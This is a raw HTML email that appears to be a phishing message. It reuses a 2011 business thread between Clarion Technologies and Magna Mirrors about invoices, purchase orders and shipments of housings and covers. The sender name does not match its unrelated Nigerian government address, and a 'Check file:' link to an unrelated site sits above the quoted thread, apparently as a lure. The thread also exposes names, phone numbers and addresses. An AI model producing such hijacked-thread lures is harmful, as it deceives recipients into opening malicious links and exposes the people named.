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To: jill.mcdonald@magnamirrors.com
From: "Harris, Lynn" <mnmajhatasi.e@nicn.gov.ng>
Subject: FW: Purchase Orders for Housings, Bottom Covers, and sanding
of Outerbases
<html>
<body><p>Check file: https://examexplorers.com/ub/?995481<br></p>
<div>
<p><span>Good morning Robert,</span></p>
<p><span>Attached is the invoice 96-028737, for the final shipment of the p=
arts mentioned in Bev's
e-mail below.</span></p>
<p><span>Please provide payment status on this and all the other invoices.
</span></p>
<p><span>Thank you for your business!</span></p>
<p>
<b><span>CLARION TECHNOLOGIES</span></b></p>
<p>
<span>Lynn M. Harris</span></p>
<p>
<span>Accounts Receivable</span></p>
<p>
<span>170 College Ave Ste 300</span></p>
<p>
<span>Holland, MI 49423</span></p>
<p>
</p>
<p>
<span>Phone (616) 698-7277<span>
</span>Ext. 104</span></p>
<p><span>Fax (616) 698-1296</span></p>
<div>
<div>
<p><b><span>From:</span></b><span> Harris,
Lynn <br>
<b>Sent:</b> Thursday, September 22, 2011 2:07 PM<br>
<b>To:</b> ; MAGMI ()<br>
<b>Cc:</b> ''; ; Brownlow, John; Clarion Accounts Receivable; Willis, Jim; =
Ivester, Lisa<br>
<b>Subject:</b> FW: Purchase Orders for Housings, Bottom Covers, and sandin=
g of Outerbases</span></p>
</div>
</div>
<p><span>Good afternoon Robert,</span></p>
<p><span>I have attached invoices 96-028723, 96-028724, and 96-028725, whic=
h cover three more shipments of the parts mentioned
in Bev's e-mail below.<span> </span></span></p>
<p><span>Could you please provide payment status on these and the prior inv=
oice 96-028715.</span></p>
<p><span>Thank you,</span></p>
<p>
<b><span>CLARION TECHNOLOGIES</span></b></p>
<p>
<span>Lynn M. Harris</span></p>
<p>
<span>Accounts Receivable</span></p>
<p>
<span>170 College Ave Ste 300</span></p>
<p>
<span>Holland, MI 49423</span></p>
<p>
</p>
<p>
<span>Phone (616) 698-7277<span>
</span>Ext. 104</span></p>
<p><span>Fax (616) 698-1296</span></p>
<div>
<div>
<p><b><span>From:</span></b><span> Harris,
Lynn <br>
<b>Sent:</b> Friday, September 16, 2011 12:11 PM<br>
<b>To:</b> ''; MAGNE ()<br>
<b>Cc:</b> ; ''; Brownlow, John; Clarion Accounts Receivable; Willis, Jim; =
Ivester, Lisa<br>
<b>Subject:</b> FW: Purchase Orders for Housings, Bottom Covers, and sandin=
g of Outerbases</span></p>
</div>
</div>
<p><span>Good afternoon Robert,</span></p>
<p><span>Please see the attached invoice# 96-028715, for the lower housings=
referenced in Bev Bekius' e-mail below.<span>
</span>The attachment also contains a copy of the signed packing list# 30-0=
66345, for your reference.<span>
</span>There will be another invoice for the balance of this inventory comi=
ng later.<span>
</span>Apparently they were not able to fit them all on the truck.</span></=
p>
<p><span>Best regards,</span></p>
<p>
<b><span>CLARION TECHNOLOGIES</span></b></p>
<p>
<span>Lynn M. Harris</span></p>
<p>
<span>Accounts Receivable</span></p>
<p>
<span>170 College Ave Ste 300</span></p>
<p>
<span>Holland, MI 49423</span></p>
<p>
</p>
<p>
<span>Phone (616) 698-7277<span>
</span>Ext. 104</span></p>
<p><span>Fax (616) 698-1296</span></p>
<div>
<div>
<p><b><span>From:</span></b><span> Brownlow,
John <br>
<b>Sent:</b> Friday, September 16, 2011 11:11 AM<br>
<b>To:</b> Van Kley, Rhonda (); Harris, Lynn<br>
<b>Subject:</b> FW: Purchase Orders for Housings, Bottom Covers, and sandin=
g of Outerbases</span></p>
</div>
</div>
<p><span>Invoices for Magna need to be sent per instructions below.</span><=
/p>
<p><span>John</span></p>
<p><span>John Brownlow</span></p>
<p><span>Clarion Technologies, Inc.</span></p>
<p><span>COO</span></p>
<p><span>170 College Avenue</span></p>
<p><span>Suite 300</span></p>
<p><span>Holland, MI 49423</span></p>
<p><span>616-698-7277 PH.</span></p>
<p><span>616-698-1296 FX.</span></p>
<p><b><span>From:</span></b><span> =20
<br>
<b>Sent:</b> Thursday, September 15, 2011 1:02 PM<br>
<b>To:</b> Alexander, Mark<br>
<b>Cc:</b> Brownlow, John; Willis, Jim; ; ; ; ; IN, Bob Centner; ; ; ;
; ; <br>
<b>Subject:</b> RE: Purchase Orders for Housings, Bottom Covers, and sandin=
g of Outerbases</span></p>
<p><span>Please send invoices to Robert Steimle for the lower covers as lis=
ted in below email. I've corrected the purchase order number. I=
t should be Newaygo's purchase order #110300288.</span>
<br>
<br>
<span>Please send invoices for PO#122202509 and 122202510 to Steve Molenhou=
se. Please keep in mind that your direct contact to confirm release o=
f the tool #2 housings is Andrew Quada. These housing
are to remain at Clarion until Newaygo has sent in schedule for release an=
d you've received confirmation to ship. Please make sure that you hav=
e all the necessary PPAP information completed and signed off by the Newayg=
o team before shipping.
</span><br>
<br>
<span>If you have questions call me.</span>
<br>
<br>
<span>THANKS!</span> <br>
<br>
<span> Beverly Bekius</span>
<br>
<span> Magna Mirrors of America, Inc.</span>
<br>
<span> Commodity Manager</span>
<br>
<span> Injection Molding, Chrome, Foams/Gaskets and Paint</span=
>
<br>
<span> 6151 Bancroft Avenue</span>
<br>
<span> Alto, MI 49302</span>
<br>
<span> Ph: 616-827-3692</span>
<br>
<span> Fax: 616-554-8986</span>
<br>
<span> Cell Phone: 616-723-1252</span>
<br>
<span> email: </span>
<br>
<br>
<span>CONFIDENTIALITY NOTE: This message contains information which m=
ay be privileged or confidential, or exempt from disclosure under applicabl=
e law. If the reader of this message is not intended
recipient, or the employee or agent responsible for delivering the message=
to the intended recipient, you are hereby NOTIFIED that any dissemination,=
distrubtion, retention, archiving, or copying of this communication is str=
ictly prohibited. If you have received
this email in error, please notify us by return e-mail or by calling my of=
fice at (616) 827-3692.</span>
<br>
<span> </span><br>
<br>
<br>
<br>
<span>From: </span><span>"Alexander, Mark&q=
uot; </span>
<br>
<span>To: </span><span>, "Brownlow,
John" </span>
<br>
<span>Cc: </span><span>"Willis, Jim" ,
"IN, Bob Centner" , , , ,
, , , ,
, , </span>
<br>
<span>Date: </span><span>09/15/2011 12:52 PM</sp=
an>
<br>
<span>Subject: </span><span>RE: Purchase Orders =
for Housings, Bottom Covers, and sanding of Outerbases</span>
</p>
<div><span>
<hr>
</span></div>
<p><br>
<br>
<br>
<span>Plan is approved, we'll release shipment tomorrow morning</span>
<br>
<br>
<span>Mark Alexander</span>
<br>
<span>Plant Manager</span>
<br>
<span>3410 Highway 24</span>
<br>
<span>Anderson, SC. 29626</span>
<br>
<span>Phone # 864-225-2539 Ext. 244</span>
<br>
<span>Fax # 864-226-2469</span>
<br>
<br>
<b><span>From:</span></b><span>
[</span><span>]
<b><br>
Sent:</b> Thursday, September 15, 2011 12:06 PM<b><br>
To:</b> Alexander, Mark; Brownlow, John<b><br>
Cc:</b> Willis, Jim; IN, Bob Centner; ; ; ; ; ;
;
;
; ; <b><br>
Subject:</b> Purchase Orders for Housings, Bottom Covers, and sanding of Ou=
terbases</span>
<br>
<br>
<span>Mark and John,</span>
<br>
<span><br>
Please find attached purchase order #122202509 for $14038.16. This co=
vers the tool #2 housings and labels that you still had from shipping to De=
costar.</span>
<br>
<span><br>
I've also attached PO#122202510 for $2143.20. This covers the sanded =
outerbase parts shipped to Newaygo in August when tool crashed and needed t=
he cylinders fixed.</span>
<br>
<span><br>
The lower covers are being purchased by Newaygo. The supply chain con=
tract to be used for billing and shipping is #115300288. I've c=
onfirmed with Brian Chadwell that Newaygo can issue payment for the Lower H=
ousings on check next Monday.</span>
<br>
<br>
<br>
<br>
<span><br>
According to your original request I have supplied you the purchase orders =
required for all items requested as listed in your email. We can issu=
e the checks for the purchase orders attached on next Monday.</span>
<br>
<span><br>
</span><br>
<br>
<br>
<br>
<span><br>
Please have bottom covers and outerbases available for pick up this afterno=
on. </span>
<br>
<span><br>
If you do not have product available and do not allow us to pick up parts, =
Clarion could jeopardize our shipment to Mercedes.
</span><br>
<span><br>
Please release the product so we don't shut Mercedes down.</span> <br>
<span><br>
As stated in the above information, Lowell will pay the two above purchase =
orders on next weeks check. The check will go out on Monday. Newaygo =
will handle the payment for the lower covers on check next Monday. </=
span>
<br>
<span><br>
Please confirm receipt of email and approve this plan.</span> <br>
<br>
<span><br>
Beverly Bekius</span> <span>
<br>
Magna Mirrors of America, Inc.</span> <span>
<br>
Commodity Manager</span> <span>
<br>
Injection Molding, Chrome, Foams/Gaskets and Paint</span> <span>
<br>
6151 Bancroft Avenue</span> <span>
<br>
Alto, MI 49302</span> <span>
<br>
Ph: 616-827-3692</span> <span>
<br>
Fax: 616-554-8986</span> <span>
<br>
Cell Phone: 616-723-1252</span> <span>
<br>
email: </span>
<br>
<span><br>
CONFIDENTIALITY NOTE: This message contains information which may be =
privileged or confidential, or exempt from disclosure under applicable law.=
If the reader of this message is not intended recipient, or the empl=
oyee or agent responsible for delivering the
message to the intended recipient, you are hereby NOTIFIED that any dissem=
ination, distrubtion, retention, archiving, or copying of this communicatio=
n is strictly prohibited. If you have received this email in error, p=
lease notify us by return e-mail or by
calling my office at (616) 827-3692.</span> <span>
<br>
</span><span><br>
----- Forwarded by Beverly Bekius/Mirrors/MAGNA on 09/15/2011 11:44 AM ----=
-</span>
<br>
<span><br>
From: </span><span>"Robert Centner" &l=
t;</span><span>></span>
<span><br>
To: </span><span><</span><span>></span>
<span><br>
Cc: </span><span>"Alexander, Mark" <=
;</span><span>>,
"Bronsink, Bob" <</span><span>></span>
<span><br>
Date: </span><span>09/15/2011 09:56 AM</span>
<span><br>
Subject: </span><span>Check needed today</span>
</p>
<div><span>
<hr>
</span></div>
<p><br>
<br>
<br>
<span><br>
Bev</span> <span><br>
I just talked to Mark and the direction from John has not changed from yest=
erday in that he needs a check today for the total amount, parts labels and=
rework.</span>
<span><br>
Please call me so I can make arrangements to pick-up the check and deliver =
it to Clarion.</span>
<span><br>
Thanks!</span> <span>
<br>
Bob</span> <br>
<br>
<br>
<span><br>
</span> <span><br>
Mark Alexander</span> <span>
<br>
Plant Manager</span> <span>
<br>
3410 Highway 24</span> <span>
<br>
Anderson, SC. 29626</span> <span>
<br>
Phone # 864-225-2539 Ext. 244</span> <span>
<br>
Fax # 864-226-2469</span> <span>
<br>
</span> <span><br>
From: Alexander, Mark <br>
Sent: Thursday, August 25, 2011 2:17 PM<br>
To: </span><span><br>
Subject: Obsolete material at Clarion</span> <span>
<br>
</span> <span><br>
Bev, I know Bob Centner sent you this yesterday again also, but I have been=
told by Corporate that we must receive a PO from you no later than Wednesd=
ay 8/31/2011 or will have to hold off shipping product.</span>
<span><br>
</span> <span><br>
Please do what you can <br>
</span> <span><br>
If you have any questions fell free to call me.</span> <span>
<br>
</span> <span><br>
1st PO amount $ 19,186.72 - all we need on this one is someone from Magna t=
o authorize shipping the product into Newaygo</span>
<span><br>
2nd PO amount $ 2,143.20</span> <br>
<br>
</p>
<p><br>
<br>
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